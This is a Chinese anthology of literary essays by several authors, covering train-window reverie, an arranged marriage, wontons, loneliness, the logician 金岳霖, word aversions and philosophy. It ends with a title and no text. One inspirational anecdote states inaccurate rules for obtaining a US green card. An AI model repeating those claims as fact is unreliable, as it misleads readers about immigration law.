　　当我望着窗外掠过的景物出神时，我的心灵的窗户也洞开了。许多似乎早已遗忘的往事，得而复失的感受，无暇顾及的思想，这时都不召自来，如同窗外的景物一样在心灵的窗户前掠过。于是我发现，平时我忙于种种所谓必要的工作，使得我的心灵的窗户有太多的时间是关闭着的，我的心灵的世界里还有太多的风景未被鉴赏。而此刻，这些平时遭到忽略的心灵景观在打开了的窗户前源源不断地闪现了。

　　所以，我从来不觉得长途旅行无聊，或者毋宁说，我有点喜欢这一种无聊。在长途车上，我不感到必须有一个伴让我闲聊，或者必须有一种娱乐让我消遣。我甚至舍不得把时间花在读一本好书上，因为书什么时候都能读，白日梦却不是想做就能做的。

　　就因为贪图车窗前的这一份享受，凡出门旅行，我宁愿坐火车，不愿乘飞机。飞机太快地把我送到了目的地，使我来不及寂寞，因而来不及触发那种出神遐想的心境，我会因此感到像是未曾旅行一样。航行江海，我也宁愿搭乘普通轮船，久久站在甲板上，看波涛万古流涌，而不喜欢坐封闭型的豪华快艇。有一回，从上海到南通，我不幸误乘这种快艇，当别人心满意足地靠在舒适的软椅上看彩色录像时，我痛苦地盯着舱壁上那一个个窄小的密封窗口，真觉得自己仿佛遭到了囚禁。

　　我明白，这些仅是我的个人癖性，或许还是过了时的癖性。现代人出门旅行讲究效率和舒适，最好能快速到把旅程缩减为零，舒适到如同住在自己家里。令我不解的是，既然如此，又何必出门旅行呢？如果把人生譬作长途旅行，那么，现代人搭乘的这趟列车就好像是由工作车厢和娱乐车厢组成的，而他们的惯常生活方式就是在工作车厢里拼命干活和挣钱，然后又在娱乐车厢里拼命享受和把钱花掉，如此交替往复，再没有工夫和心思看一眼车窗外的风景了。

　　光阴蹉跎，世界喧嚣，我自己要警惕，在人生旅途上保持一份童趣和闲心是不容易的。如果哪一天我只是埋头于人生中的种种事务，不再有兴致扒在车窗旁看沿途的风光，倾听内心的音乐，那时候我就真正老了俗了，那样便辜负了人生这一趟美好的旅行。

你必须要有一样拿得出手

林夕

　　我的一位商界朋友，45 岁的时候，移居去了美国。

　　大凡去美国的人，都想早一点儿拿到绿卡。他到美国后三个月，就去移民局申请绿卡。一位比他早先到美国的朋友好心地提醒他：“你要有耐心等。我申请都快一年了，还没有批下来。”

　　他笑笑说：“不需要那么久，三个月就可以了。”

　　朋友用疑惑的目光看着他，以为他在开玩笑。

　　三个月后，他去移民局，果然获得批准，填表盖章，很快，邮差给他送去绿卡。

　　他的朋友知道后，十分不解：“你年龄比我大，钱没有我多，申请比我晚，凭什么比我先拿绿卡？”他微微一笑，说：“因为钱。”

　　“你来美国带了多少钱？”

　　“10 万美元。”

　　“可是我带了 100 万美元，为什么不给我批反而给你批呢？”

　　“我的 10 万美元，在我到美国的三个月内，一部分用于消费，一部分用于投资，一直在使用和流动。这个，在我交给移民局的税单上已经显示出来了。而你的 100 万美元，一直放在银行里，没有消费变化。所以他们不批准你的申请。”

　　原来如此。

　　美国是一个十分注重效率和功利的国家，只要对美国的社会经济发展有益，美国才会接纳你，在美国拿绿卡，只有两种人可以：一种是来美国投资或消费；还有一种人，就是有技术专长。

　　这位商界朋友前不久回国，给我讲了一个他在美国移民局亲眼目睹的故事，使我更深刻地理解了美国。

　　他在美国移民局申请绿卡的时候，曾经遇到过一位中年妇女，从她被晒成古铜色的皮肤，可以断定是一位户外工作者。出于好奇，他上前和她搭话，一问才知，她来自中国北方农村，因为女儿在美国，才申请来美。她只读完小学，汉语都表达不好。

　　可就是这样一位英语只会说“你好”、“再见”的中国农村妇女，也在申请绿卡。她申报的理由是有“技术专长”。移民官看了她的申请表，问她：“你会什么？”她回答说：“我会剪纸画。”说着，她从包里拿出一把剪刀，轻巧地在一张彩色亮纸上飞舞，不到三分钟，就剪出一群栩栩如生的各种动物图案。

　　美国移民官瞪大眼睛，像看变戏法似的看着这些美丽的剪纸画，竖起手指，连声赞叹。这时，她从包里拿出一张报纸，说：“这是中国《农民日报》刊登的我的剪纸画。”

　　美国移民官员一边看，一边连连点头，说：“OK。”

　　她就这么 OK 了。旁边和她一起申请而被拒绝的人又羡慕、又嫉妒。

　　这就是美国。你可以不会管理，你可以不会金融，你可以不会电脑，甚至，你可以不会英语。但是，你不能什么都不会！你必须得会一样，你要竭尽全力把它做到极限。这样，你就会永远 OK 了！

择偶记

朱自清

　　自己是长子长孙，所以不到十一岁就说起媳妇来了。那时对于媳妇这件事简直茫然，不知怎么一来，就已经说上了。是曾祖母娘家人，在江苏北部一个小县份的乡下住着。家里人都在那里住过很久，大概也带着我；只是太笨了，记忆里没有留下一点影子。祖母常常躺在烟榻上讲那边的事，提着这个那个乡下人的名字。起初一切都像只在那白腾腾的烟气里。日子久了，不知不觉熟悉起来了，亲昵起来了。除了住的地方，当时觉得那叫做“花园庄”的乡下实在是最有趣的地方了。因此听说媳妇就定在那里，倒也仿佛理所当然，毫无意见。每年那边田上有人来，蓝布短打扮，衔着旱烟管，带好些大麦粉，白薯干儿之类。他们偶然也和家里人提到那位小姐，大概比我大四岁，个儿高，小脚；但是那时我热心的其实还是那些大麦粉和白薯干儿。

　　记得是十二岁上，那边捎信来，说小姐痨病死了。家里并没有人叹惜；大约他们看见她时她还小，年代一多，也就想不清是怎样一个人了。父亲其时在外省做官，母亲颇为我亲事着急，便托了常来做衣服的裁缝做媒。为的是裁缝走的人家多，而且可以看见太太小姐。主意并没有错，裁缝来说一家人家，有钱，两位小姐，一位是姨太太生的；他给说的是正太太生的大小姐。他说那边要相亲。母亲答应了，定下日子，由裁缝带我上茶馆。记得那是冬天，到日子母亲让我穿上枣红宁绸袍子，黑宁绸马褂，戴上红帽结儿的黑缎瓜皮小帽，又叮嘱自己留心些。茶馆里遇见那位相亲的先生，方面大耳，同我现在年纪差不多，布袍布马褂，像是给谁穿着孝。这个人倒是慈祥的样子，不住地打量我，也问了些念什么书一类的话。回来裁缝说人家看得很细：说我的“人中”长，不是短寿的样子，又看我走路，怕脚上有毛病。总算让人家看中了，该我们看人家了。母亲派亲信的老妈子去。老妈子的报告是，大小姐个儿比我大得多，坐下去满满一圈椅；二小姐倒苗苗条条的，母亲说胖了不能生育，像亲戚里谁谁谁；教裁缝说二小姐。那边似乎生了气，不答应，事情就摧了。

　　母亲在牌桌上遇见一位太太，她有个女儿，透着聪明伶俐。母亲有了心，回家说那姑娘和我同年，跳来跳去的，还是个孩子。隔了些日子，便托人探探那边口气。那边做的官似乎比父亲的更小，那时正是光复的前年，还讲究这些，所以他们乐意做这门亲。事情已到九成九，忽然出了岔子。本家叔祖母用的一个寡妇老妈子熟悉这家子的事，不知怎么教母亲打听着了。叫她来问，她的话遮遮掩掩的。到底问出来了，原来那小姑娘是抱来的，可是她一家很宠她，和亲生的一样。母亲心冷了。过了两年，听说她已生了痨病，吸上鸦片烟了。母亲说，幸亏当时没有定下来。我已懂得一些事了，也这末想着。

　　光复那年，父亲生伤寒病，请了许多医生看。最后请着一位武先生，那便是我后来的岳父。有一天，常去请医生的听差回来说，医生家有位小姐。父亲既然病着，母亲自然更该担心我的事。一听这话，便追问下去。听差原只顺口谈天，也说不出个所以然。母亲便在医生来时，教人问他轿夫，那位小姐是不是他家的。轿夫说是的。母亲便和父亲商量，托舅舅问医生的意思。那天我正在父亲病榻旁，听见他们的对话。舅舅问明了小姐还没有人家，便说，像×翁这样人家怎末样？医生说，很好呀。话到此为止，接着便是相亲；还是母亲那个亲信的老妈子去。这回报告不坏，说就是脚大些。事情这样定局，母亲教轿夫回去说，让小姐裹上点儿脚。妻嫁过来后，说相亲的时候早躲开了，看见的是另一个人。至于轿夫捎的信儿，却引起了一段小小风波。岳父对岳母说，早教你给她裹脚，你不信；瞧，人家怎末说来着！岳母说，偏偏不裹，看他家怎末样！可是到底采取了折衷的办法，直到妻嫁过来的时候。

煎馄饨

梁实秋

　　馄饨这个名称好古怪。宋程大昌《演繁露》："世言馄饨，是虏中浑沌氏为之。"有此一说，未必可信。不过我们知道馄饨历史相当悠久，无分南北到处有之。

　　儿时，里巷中到了午后常听见有担贩大声吆喝："馄饨——开锅！"这种馄饨挑子上的馄饨，别有风味，物美价廉。那一锅汤是骨头煮的，煮得久，所以是浑浑的、浓浓的。馄饨的皮子薄，馅极少，勉强可以吃出其中有一点点肉。但是佐料不少，葱花、芫荽、虾皮、冬菜、酱油、醋、麻油，最后洒上竹节筒里装着的黑胡椒粉。这样的馄饨在别处是吃不到的，谁有工夫去熬那么一大锅骨头汤？

　　北平的山东馆子差不多都卖馄饨。我家胡同口有一个同和馆，从前在当场还有一点小名，早晨就卖馄饨和羊肉馅和卤馅的小包子。馄饨做得不错，汤清味厚，还加上几小块鸡血几根豆苗。凡是饭馆没有不备一锅高汤的（英语所谓"原汤"stock），一碗馄饨舀上一勺高汤，就味道十足。后来"味之素"大行其道，谁还预备原汤？不过善品味的人，一尝便知道是不是正味。

　　馆子里卖的馄饨，以致美斋的为最出名。好多年前，《同治都门纪略》就有赞美致美斋的馄饨的打油诗：

　　包得馄饨味胜常，

　　馅融春韭嚼来香，

　　汤清润吻休嫌淡，

　　咽来方知滋味长。

　　这是同治年间的事，虽然已过了五十年左右，饭馆的状况变化很多，但是他的馄饨仍是不同凡响，主要的原因是汤好。

　　可是我最激赏的是致美斋的煎馄饨，每个馄饨都包得非常俏式，薄薄的皮子挺拔舒翘，像是天主教修女的白布帽子。入油锅慢火生炸，炸黄之后再上小型蒸屉猛蒸片刻，立即带屉上桌。馄饨皮软而微韧，有异趣。

谈谈寂寞

梁晓声

　　都认为，寂寞是由于想做事而无事可做，想说话而无人与说，想改变自身所处的这一种境况而又改变不了。

　　是的，以上基本就是寂寞的定义了。

　　寂寞是对人性的缓慢的破坏。寂寞相对于人的心灵，好比锈相对于某些容易生锈的金属。

　　但不是所有的金属都那么容易生锈。金子就根本不生锈。不锈钢的拒腐蚀性也很强。而铁和铜，我们都知道，它们极容易生锈，像体质弱的人极容易伤风感冒。

　　某次和大学生们对话时，被问：“阅读的习惯对人究竟有什么好处？”

　　我回答了几条，最后一条是——可以使人具有特别长期地抵抗寂寞的能力。

　　他们笑。我看出他们皆不以为然。他们的表情告诉了我他们的想法——我们需要具备这一种能力干什么呢？

　　是啊，他们都那么年轻，大学又是成千上万的青年学子云集的地方，一间寝室住六名同学，寂寞沾不上他们的边啊！

　　但我同时看出，其实他们中某些人内心深处别提有多寂寞。

　　而大学给我的印象正是一个寂寞的地方。大学的寂寞包藏在许多学子追逐时尚和娱乐的现象之下。所以他们渴望听老师以外的人和他们说话，不管那样的一个人是干什么的，哪怕是一名犯人在当众忏悔。似乎，越是和他们的专业无关的话题，他们参与的热忱越活跃。因为正是在那样的时候，他们内心深处的寂寞获得了适量地释放一下的机会。

　　故我以为，寂寞还有更深层的定义，那就是——从早到晚所做之事，并非自己最有兴趣的事；从早到晚总在说些什么，但没几句是自己最想说的话；即使改变了这一种境况，另一种新的境况也还是如此，自己又比任何别人更清楚这一点。

　　这是人在人群中的一种寂寞。

　　这是人置身于种种热闹中的一种寂寞。

　　这是另类的寂寞，现代的寂寞。

　　如果这样的一个人，心灵中再连值得回忆一下的往事都没有，头脑中再连值得梳理一下的思想都没有，那么他或她的人性，很快就会从外表锈到中间。

　　无论是表层的寂寞，还是深层的寂寞，要抵抗住它对人心的伤害，那都是需要一种人性的大能力的。

　　我的父亲虽然只不过是一名普通的建筑工人，但在“文革”中，也遭到了流放式的对待。仅仅因为他这个十四岁闯关东的人，在哈尔滨学会了几句日语和俄语，便被怀疑是日俄双料潜伏特务。差不多有七八年的时间，他独自一人被发配到四川的深山里为工人食堂种菜。他一人开了一大片荒地，一年到头不停地种，不停地收。隔两三个月有车进入深山给他送一次粮食和盐，并拉走菜。

　　他靠什么排遣寂寞呢？

　　近五十岁的男人了，我的父亲，他学起了织毛衣。没有第二个人，没有电，连猫狗也没有，更没有任何可读物。有，对于他也是白有，因为他几乎是文盲。他劈竹子自己磨制了几根织针。七八年里，将他带上山的新的旧的劳保手套一双双拆绕成线团，为我们几个他的儿女织袜子，织线背心。

　　这一种从前的女人才有的技能，他一直保持到逝世那一年。织，成了他的习惯。那一年，他七十七岁。

　　劳动者为了不使自己的心灵变成容易生锈的铁或铜，也只有被逼出了那么一种能力。

　　而知识者，我以为，正因为所感受到的寂寞往往是更深层的，所以需要有更强的抵抗寂寞的能力。

　　这一种能力，除了靠阅读来培养，目前我还贡献不出别种办法。

　　胡风先生在所有当年的“右派”中被囚禁的时间最长——三十佘年。他的心经受过双重的寂寞的伤害。胡风先生逝世后，我曾见过他的夫人一面，惴惴地问：先生靠什么抵抗住了那么漫长的与世隔绝的寂寞？

　　她说：“还能靠什么呢？靠回忆，靠思想。否则他的精神早崩溃了，他毕竟不是什么特殊材料的人啊！”

　　但我心中暗想，胡风先生其实太够得上是特殊材料的人了啊！

　　幸亏他是大知识分子，故有值得一再回忆之事，故有值得一再梳理之思想。若换了我的父亲，仅仅靠拆了劳保手套织东西，肯定是要在漫长的寂寞伤害之下疯了的吧？

　　知识给予知识分子之最宝贵的能力是思想的能力。因为靠了思想的能力，无论被置于何种孤单的境地，人都不会丧失最后一个交谈伙伴，而那正是他自己。自己与自己交谈，哪怕仅仅做这一件在别人看来什么也没做的事，他足以抵抗很漫长很漫长的寂寞。如果居然还侥幸有笔有足够的纸，孤独和可怕的寂寞也许还会开出意外的花朵。《绞刑架下的报告》、《可爱的中国》、《堂·吉诃德》的某些章节、欧·亨利的某些经典短篇，便是在牢房里开出的思想的或文学的花朵。

　　思想使回忆成为知识分子的驼峰。

　　而最强大的寂寞，还不是想做什么事而无事可做，想说话而无人与说；而是想回忆而没有什么值得回忆的，是想思想而早已丧失了思想的习惯。这时人就自己赶走了最后一个陪伴他的人，他一生最忠诚的朋友——他自己。

　　谁都不要错误地认为孤独和寂寞这两件事永远不会找到自己头上。现代社会的真相告诫我们，那两件事迟早会袭击我们。

　　人啊，为了使自己具有抵抗寂寞的能力，读书吧！人啊，一旦具备了这一种能力，某些正常情况下，孤独和寂寞还会由自己调节为享受着的时光呢！

　　信不信，随你……

金岳霖先生

汪曾祺

　　西南联大有许多很有趣的教授，金岳霖先生是其中的一位。金先生是我的老师沈从文先生的好朋友。沈先生当面和背后都称他为“老金”。大概时常来往的熟朋友都这样称呼他。

　　关于金先生的事，有一些是沈先生告诉我的。我在《沈从文先生在西南联大》一文中提到过金先生。有些事情在那篇文章里没有写进，觉得还应该写一写。

　　金先生的样子有点怪。他常年戴着一顶呢帽，进教室也不脱下。每一学年开始，给新的一班学生上课，他的第一句话总是：“我的眼睛有毛病，不能摘帽子，并不是对你们不尊重，请原谅。”他的眼睛有什么病，我不知道，只知道怕阳光。

　　因此他的呢帽的前檐压得比较低，脑袋总是微微地仰着。他后来配了一副眼镜，这副眼镜一只的镜片是白的，一只是黑的。这就更怪了。后来在美国讲学期间把眼睛治好了，好一些，眼镜也换了，但那微微仰着脑袋的姿态一直还没有改变。他身材相当高大，经常穿一件烟草黄色的麂皮夹克，天冷了就在里面围一条很长的驼色的羊绒围巾。联大的教授穿衣服是各色各样的。闻一多先生有一阵穿一件式样过时的灰色旧夹袍，是一个亲戚送给他的，领子很高，袖口极窄。联大有一次在龙云的长子、蒋介石的干儿子龙绳武家里开校友会，龙云的长媳是清华校友，闻先生在会上大骂“蒋介石，王八蛋！混蛋！”那天穿的就是这件高领窄袖的旧夹袍。

　　朱自清先生有一阵披着一件云南赶马人穿的蓝色毡子的一口钟。除了体育教员，教授里穿夹克的，好像只有金先生一个人。他的眼神即使是到美国治了后也还是不大好，走起路来有点深一脚浅一脚。他就这样穿着黄夹克，微仰着脑袋，深一脚浅一脚地在联大新校舍的一条土路上走着。

　　金先生教逻辑。逻辑是西南联大规定文学院一年级学生的必修课，班上学生很多，上课在大教室，坐得满满的。在中学里没有听说有逻辑这门学问，大一的学生对这课很有兴趣。金先生上课有时要提问，那么多的学生，他不能都叫得上名字来，——联大是没有点名册的，他有时一上课就宣布：

　　“今天，穿红毛衣的女同学回答问题。”于是所有穿红衣的女同学就都有点紧张，又有点兴奋。那时联大女生在蓝阴丹士林旗袍外面套一件红毛衣成了一种风气。——穿蓝毛衣、黄毛衣的极少。问题回答得流利清楚，也是件出风头的事。金先生很注意地听着，完了，说：“Yes！请坐！”

　　学生也可以提出问题，请金先生解答。学生提的问题深浅不一，金先生有问必答，很耐心。有一个华侨同学叫林国达，操广东普通话，最爱提问题，问题大都奇奇怪怪。他大概觉得逻辑这门学问是挺“玄”的，应该提点怪问题。有一次他又站起来提了一个怪问题，金先生想了一想，说：“林国达同学，我问你一个问题：‘Mr．林国达 is perpendicular to the blackboard（林国达君垂直于黑板），这什么意思？”

　　林国达傻了。林国达当然无法垂直于黑板，但这句话在逻辑上没有错误。

　　林国达游泳淹死了。金先生上课，说：“林国达死了，很不幸。”这一堂课，金先生一直没有笑容。

　　有一个同学，大概是陈蕴珍，即萧珊，曾问过金先生：

　　“您为什么要搞逻辑？”逻辑课的前一半讲三段论，大前提、小前提、结论、周延、不周延、归纳、演绎……还比较有意思。

　　后半部全是符号，简直像高等数学。她的意思是：这种学问多么枯燥！金先生的回答是：“我觉得它很好玩。”

　　除了文学院大一学生必修逻辑，金先生还开了一门“符号逻辑”，是选修课。这门学问对我来说简直是天书。选这门课的人很少，教室里只有几个人。学生里最突出的是王浩。金先生讲着讲着，有时会停下来，问：“王浩，你以为如何？”这堂课就成了他们师生二人的对话。王浩现在在美国。前些年写了一篇关于金先生的较长的文章，大概是论金先生之学的，我没有见到。

　　王浩和我是相当熟的。他有个要好的朋友王景鹤，和我同在昆明黄土坡一个中学教学，王浩常来玩。来了，常打篮球。大都是吃了午饭就打。王浩管吃了饭就打球叫“练盲肠”。王浩的相貌颇“土”，脑袋很大，剪了一个光头，联大同学剪光头的很少，说话带山东口音。他现在成了洋人——美籍华人，国际知名的学者，我实在想象不出他现在是什么样子。前年他回国讲学，托一个同学要我给他画一张画。

　　我给他画了几个青头菌、牛肝菌，一根大葱，两头蒜，还有一块很大的宣威火腿。——火腿是很少入画的。我在画上题了几句话，有一句是“以慰王浩异国乡情”。王浩的学问，原来是师承金先生的。一个人一生哪怕只教出一个好学生，也值得了。当然，金先生的好学生不止一个人。

　　金先生是研究哲学的，但是他看了很多小说。从普鲁斯特到福尔摩斯，都看。听说他很爱看平江不肖生的《江湖奇侠传》。有几个联大同学住在金鸡巷，陈蕴珍、王树藏、刘北汜、施载宣（萧荻）。楼上有一间小客厅。沈先生有时拉一个熟人去给少数爱好文学、写写东西的同学讲一点什么。金先生有一次也被拉了去。他讲的题目是《小说和哲学》。题目是沈先生给他出的。大家以为金先生一定会讲出一番道理。不料金先生讲了半天，结论却是：小说和哲学没有关系。有人问：那么《红楼梦》呢？金先生说：“红楼梦里的哲学不是哲学。”他讲着讲着，忽然停下来：“对不起，我这里有个小动物。”他把右手伸进后脖颈，捉出了一个跳蚤，捏在手指里看看，甚为得意。

　　金先生是个单身汉（联大教授里不少光棍，杨振声先生曾写过一篇游戏文章《释鳏》，在教授间传阅），无儿无女，但是过得自得其乐。他养了一只很大的斗鸡（云南出斗鸡）。这只斗鸡能把脖子伸上来，和金先生一个桌子吃饭。他到处搜罗大梨、大石榴，拿去和别的教授的孩子比赛。比输了，就把梨或石榴送给他的小朋友，他再去买。

　　金先生朋友很多，除了哲学家的教授外，时常来往的，据我所知，有梁思成、林徽因夫妇，沈从文，张奚若……君子之交淡如水，坐定之后，清茶一杯，闲话片刻而已。金先生对林徽因的谈吐才华，十分欣赏。现在的年轻人多不知道林徽因。她是学建筑的，但是对文学的趣味极高，精于鉴赏，所写的诗和小说如《窗子以外》、《九十九度中》风格清新，一时无二。林徽因死后，有一年，金先生在北京饭店请了一次客，老朋友收到通知，都纳闷：老金为什么请客？到了之后，金先生才宣布：“今天是徽因的生日。”

　　金先生晚年深居简出。毛主席曾经对他说：“你要接触接触社会。”金先生已经八十岁了，怎么接触社会呢？他就和一个蹬平板三轮车的约好，每天蹬着他到王府井一带转一大圈。

　　我想象金先生坐在平板三轮上东张西望，那情景一定非常有趣。王府井人挤人，熙熙攘攘，谁也不会知道这位东张西望的老人是一位一肚子学问，为人天真、热爱生活的大哲学家。

　　金先生治学精深，而著作不多。除了一本大学丛书里的《逻辑》，我所知道的，还有一本《论道》。其余还有什么，我不清楚，须问王浩。

　　我对金先生所知甚少。希望熟知金先生的人把金先生好好写一写。

　　联大的许多教授都应该有人好好地写一写。

　　1987 年 2 月 23 日

词语洁癖

刘瑜

　　最早发现自己有词语洁癖，是很多年前，第一次听朋友说起“美金”这个词的时候。

　　“我这个表，是在友谊商店买的，500 美金。”他说。

　　“美金”这个词从他嘴边跳出来时，我的皮肤迅雷不及掩耳地冒出一层鸡皮疙瘩。不就是美元吗？为什么要说“美金”呢？难道一个国家有钱点，连个货币名称也要拽一点么？

　　其实不是愤恨，而是难为情，为这个词里包含的，穷国对富国的、穷人对富人的谄媚之意。

　　我还厌恶“banker”这个词。“banker”，听听，这两个音节，它们组合在一起怎么就这么让人脸红呢，简直跟“胴体”有一拼。我对 banker 这个职业本身一点意见也没有，只不过凡是我认识的自称 banker 的人，其实都只是在银行底层打工而已，却非要把自己说成 banker，以至于这个词在我脑子里直接跟“意淫”粘在了一起，就像“三里屯酒吧街”在我脑子里直接跟“装蒜”粘在一起一样。就算有一天认识了真的 banker，我也希望他不要用“banker”这个词，建议他用“圈钱的”。“圈钱的”，多酷啊，是不是。

　　还有“高尚住宅”这个词。第一次在报纸上看到的时候，我心里骂：操，还有“卑鄙住宅”不成？

　　以前有个时尚杂志记者迫切地追问洪晃：请问，你们上流社会的生活是什么样的？洪晃毕竟是洪晃：“什么上流社会，我属于下流社会！”看来有钱人其实也不像我们期待的那样愚不可及。

　　我甚至连“老百姓”、“民间”这样的词都绕道而行。当然不是因为我对“老百姓”、“民间”本身有什么意见，而是发现但凡笨蛋想给自己的弱智、狭隘撑腰时，就开始稀里哗啦倒这样的词汇。有一段时间，一帮诗人写不出好诗来，突发奇想，决定用把别人打成“学院派诗人”而自称“民间派诗人”的方式，来治疗自己想象力上的阳痿。

　　不过，话又说回来，不应该再给诗人落井下石了。如今“诗人”这个词也很潦倒，其落魄程度，跟“女博士”、“陈凯歌”、“老灵魂”这些个词汇不相上下。

　　还有一些词，它们本身是很无辜的，但是由于被使用的频率太高了，被用旧了，用脏了，这样的词，也遭人烦，比如“残酷青春”，比如“杜拉斯”，比如“村上春树”，比如“西藏旅游”。

　　哦，对了，还请不要跟我提起“乔姆斯基”。我真的讨厌他，更讨厌精神上的狐假虎威。跟“乔姆斯基”一个系列的词汇，还有“现代性”、“权力装置”、“范式”、“新左派”、“《读书》”……谁要拿这些来跟我吹牛，我特想派吴君如去扁他，并且叉着腰骂道：你小子学什么不好，学那些干嘛！

不是理由

亦舒

　　新加坡电台有一个可爱的节目，叫“这不是理由。”

　　女孩子说：我不能赴你的约会，因为妈妈不准我晚归。这并不是理由，不过是推辞。

　　老板说：对不起，我们的薪水一律这么多。那也不是理由，只不过阁下不值得他破例。

　　没有时间写作？更不是理由了，一切都看选择，凡事都排座次，如果真的想做一件事，想得厉害，想得憔悴，一定会做成功。

　　浅而易学的事不去做，很明显是不想做，没有必要做，不值得做，以及不方便做。那么这件事情在当事人心里，自然也不是重要的事情了。

　　一位大律师接受访问，记者问他：“业务繁忙如何抽空搞音乐？”他笑笑答：“要是喜欢，总有时间，譬如说，人家吃饭，我不吃，人家睡觉，我不睡，我作曲，我练习乐器。”

　　就是这么简单。

　　人在爱得不够，努力得不够，用心得不够的时候，总喜欢用一些不是理由的理由来开脱自身，以便下台。

小绿猪

马丁 · 麦克多纳

　　很久很久以前，异乡的土地上有一个农庄，非常遥远。那儿生活着一只小猪，它同猪群中别的猪都不一样。它是绿色的。几乎闪着深绿的光泽，就像火车隧道里油漆的色彩。

　　小猪非常喜欢它的绿颜色。它并不讨厌正常的猪的颜色，它觉得粉红色也挺好，但它喜欢自己的颜色，它喜欢有些不同，有些特别。可是，其余的猪不喜欢它的绿色，他们很嫉妒，总是欺负它，让它受罪。

　　猪们没完没了的抱怨惹恼了农夫们，于是他们想，“嗯，这事我们得想想法子。”于是一天夜里，当所有的猪都在野地里睡觉时，农夫们溜出屋子，抓住了那只小绿猪，把他弄到猪棚里，小绿猪尖叫着，其他的猪都嘲笑它。

　　农夫们把小猪弄进棚后，打开了一个巨大的漆桶，桶里盛着非常特别的粉色漆。他们把小猪浸在漆中，直到把它从头到脚都漆遍，不剩一点绿色，然后把它拴住，直到晾干了它身上的油漆。

　　这种粉色漆的特点是永远也洗不掉也永远盖不住。小绿猪说，“求求你，上帝，别让他们弄得我跟别人一样。我喜欢有点不同。”

　　可这时已经太晚了，油漆干了，小猪被放回野地里的猪群，在它穿过猪群，坐到它最喜欢的一小块绿草地上时，所有粉色的都嘲笑它。它想弄明白上帝为什么没听进它的祈祷，可它弄不明白。

　　它哭着哭着就睡着了，它那么多的泪水也洗不掉那可怕的粉色油漆。因为它永远也洗不掉永远也盖不住。

　　但是那天夜里，当所有的猪们熟睡时，那些稀奇古怪的乌云开始聚集到它们的头顶，接着下起了暴雨，雨越下越大，越下越大。可这雨不是普通的雨，这是非常特别的绿色的雨，像油漆一样的稠，它的特点是永远洗不掉也盖不住。

　　当早晨来临，雨已经停了，所有的的猪都醒了过来，他们发现自己每一个都成了鲜绿色。每一头猪都是绿的，只有原来的那头小绿猪，现在成了小粉猪，因为奇怪的雨洗不掉也盖不住农夫们早先给他漆的粉色油漆。

　　当它看着四周奇怪的绿色猪群的海洋时，看到大多数猪们像婴儿一样地痛哭流涕时，他微笑了，他感谢仁慈的上天，感谢上帝，因为他知道他依然，像过去一样，稍稍的与众不同。

哲学不能烤面包

沈奇岚

　　亲爱的李妍，

　　见信舒眉。

　　你大学毕业了，你“因为擅长找到标准答案，所以考试门门高分”，可“从来不知道什么叫独立思考”。在实习和找工作的过程中，发现“以前学的知识根本用不上，而且对这个社会根本一点看法都没有”。你说自己是一个“应试教育的成功作品，却是这个社会的失败的作品”。

　　你说你“在为了学习而学习中，丧失了思考的能力”，你问我，哲学能不能教会你独立思考。

　　谢谢你，让我有机会来说一说关于哲学的话题。

　　首先要告诉你的是，哲学的不能：哲学不能烤面包（这是我的大学老师的名言）。

　　除非将来当大学老师，否则以哲学为职业，几乎是不可能的事情。现代社会不是古希腊，没法在职业一栏里写：思考人生。

　　好吧，这还得从头说起，我高中的时候对哲学也没有什么好感，和你一样，抄写背诵着“世界的本源是物质”之类的的陈词滥调，也觉得思考世界本源的人是想太多的。直到进了大学，开始真正地读哲学。

　　“真正地读哲学”，是指直接接触原著，不再看那些被剪裁过的思想。

　　这是独立思考的意义，也是读大学的意义：拒绝自己的思想被随意剪裁。

　　你说你能毫不费力地找到标准答案，哲学是以质疑标准答案为前提的。

　　你看苏格拉底怎么问人，就知道质疑和追问是哲学的基本功。你将试着去理解那些哲学家如何理解世界。你将试用他们的眼光来思考自己的世界，得出自己的结论。

　　世界如此巨大复杂，我们需要不同的眼镜来帮助我们看清世界。那些不同哲学家的思想，就像不同度数的眼镜，每次戴上都可以多看清楚一点世界。

　　当然也有提倡不戴眼镜回归内心的哲学家。任何一副眼镜里的世界，都不代表世界的真相。我一直相信，一个人的思想深度和广度，取决于他可以从多少个不同的角度看待这个世界。

　　你擅长找标准答案，那就像戴上了某一种特定的眼镜，凭着这副眼镜，你可以在高中甚至大学期间安全度过。可单单凭这副眼镜，你将无法看清和理解这个世界。

　　因为生活没有标准答案，你的找答案技能在进入社会之后不再有效，找到要点不足以让你理解这个世界。

　　你先要消除找标准答案的副作用——丧失学习乐趣，对知识不再有天真的狂喜，所有的努力都为了那毫无感情色彩的分数。

　　你应当要恢复自己对学习的兴趣，就算大学毕业了，值得追求的知识依然多不胜数。倘若你说“反正我又用不到”或者“这个学了没有用”，那么不能烤面包的哲学，你也不必学了吧。

　　如果你打算独立思考，请一定要再想一想这种“学的东西非得有用”的想法，到底是来自你的内心，还是你无意识的人云亦云？

　　世界上的确有不少人，常常引用着这位那位哲学家的话，做着这样那样的雄辩，在辩论时压倒对方。这不是哲学的真正用途。

　　哲学让人谦虚，懂得聆听。

　　哲学让人真诚地面对自己，保持对他者的开放性。

　　哲学让人能够理解他人，哲学是通向内心的路，是连接自我和世界的桥梁。

　　独立思考，是哲学的必由之路。

　　生活本身是最好的书本，没有一个人因为读了哲学而对生活更有把握。

　　事实上这件事情的因果关系刚好相反：经历了生活的人们，再读哲学书的时候，才会发现：原来是这个意思！这下真理解了。

　　没有生活的哲学是干燥的，年轻的你不必马上埋头在哲学书中。努力尽力地生活，才是你的头等要事。顺便看些书，随时把那书里说的道理和自己的生活做些对照。

　　罗素的《西方哲学史》可以翻来看看，他因此得了诺贝尔的文学奖，写得真的不赖。这书好比一场哲学家的自助餐，你尝到了合你口味的哲学家之后，再找这个哲学家的作品来看。

　　生命的每个阶段需要的哲学养分都不同，你每次都可以找不同的哲学家来获取新的营养。多备一些眼镜，世界看起来才会多彩一些。

　　看书去吧，生活去吧，快乐地享受这一切。

工作与人生

王小波

